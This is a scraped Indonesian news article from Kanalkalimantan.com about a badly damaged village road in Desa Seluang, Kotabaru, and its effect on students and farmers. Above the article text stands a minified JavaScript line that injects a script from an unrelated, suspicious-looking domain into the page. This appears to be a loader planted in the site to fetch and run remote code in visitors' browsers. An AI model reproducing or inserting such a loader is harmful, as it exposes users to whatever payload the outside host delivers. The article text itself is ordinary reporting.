(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Akses jalan yang berada di Desa Seluang, Kecamatan Kelumpang Utara, Kabupaten Kotabaru, harus segera diperbaiki cepat. Pasalnya, jalan sepanjang kurang lebih 7 kilometer mengalami kerusakan parah. Apalagi kalau sudah memasuki musim penghujan, maka jalan dipenuhi kubangan lumpur harus dihadapi oleh masyarakat setempat.
Syahru Ramadhan, salah seorang pelajar dijumpai ketika melintas bersama teman-temannya pulang dari sekolah meminta kepada pemerintah daerah agar bisa segera memperbaiki jalan tersebut.
“Kami dari Desa Seluang menuju sekolah di Desa Pudi harus menempuh jarak kurang lebih 7 kilometer mau tak mau harus melewati jalan yang rusak ini. Meskipun dalam kondisi kaya ini. Yah, mau bagaimana lagi,” ucap Syahru kepada Kanalkalimantan.com, Sabtu (26/2/2022).
Biasanya, kata Syahru melanjutkan, pelajar hanya menempuh waktu sekitar 10 menit saja. Namun karena jalannya rusak, waktu tempuh menjadi 30 menit baru bisa sampai ke sekolah.
Baca juga: Densus 88 Tangkap Terduga Teroris di Sei Lulut, Sejumlah Barang Bukti Ikut Diamankan!
“Saya dan teman-teman lainnya tentu berharap jalan ini dapat diperbaiki oleh pemerintah, sehingga kami para pelajar tidak akan kesulitan. Mudah-mudahan harapan kami dapat cepat diperbaiki,” harapnya.
Warga yang ditemui Kanalkalimantan.com, Rudi Hartono, seorang pelaku usaha ayam di Desa Seluang mengungkapkan, melihat kondisi jalan yang rusak warga terpaksa menjual hasil pertanian, perikanan dan peternakan dengan susah payah, begitu pula ketika ada pembeli yang datang mengambil hasil komoditi masyarakat.
Pelajar yang melintasi jalan rusak di Desa Seluang. Foto: Muhammad
“Karena akses jalan yang sulit, warga tidak bisa ke luar. Oleh karenanya, kami terpaksa menjual ke pembeli yang datang dengan harga murah. Kalau tidak begitu bagaimana kami akan mendapatkan nilai ekonomis,” ujarnya.
Sementara Kepala Desa Seluang, Samidi mengatakan, berkaitan dengan komoditi yang saat sekarang terhitung menjadi andalan salah satunya budidaya ayam petelur.
Baca juga: Pelaku Pembunuhan di Pasar Antasari Ditangkap Jajaran Resmob Kalsel di Martapura Lama
“Yang menjadi kesulitan bagi masyarakat adalah soal infrastruktur. Kalau musim hujan seperti ini, kami terpaksa harus melewati jalan berlumpur untuk memasarkan hasil komoditi, terlebih untuk para pelajar yang akan menuju sekolah. Tentu kita prihatin dengan keadaan seperti ini, menjadi harapan bersama kepada semua pihak baik pemerintah dan swasta agar bisa bekerjasama agar sehingga akses jalan di desa kami bisa diperbaiki,” ungkapnya. (Kanalkalimantan.com/muhammad)
Reporter : muhammad
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
This website uses cookies.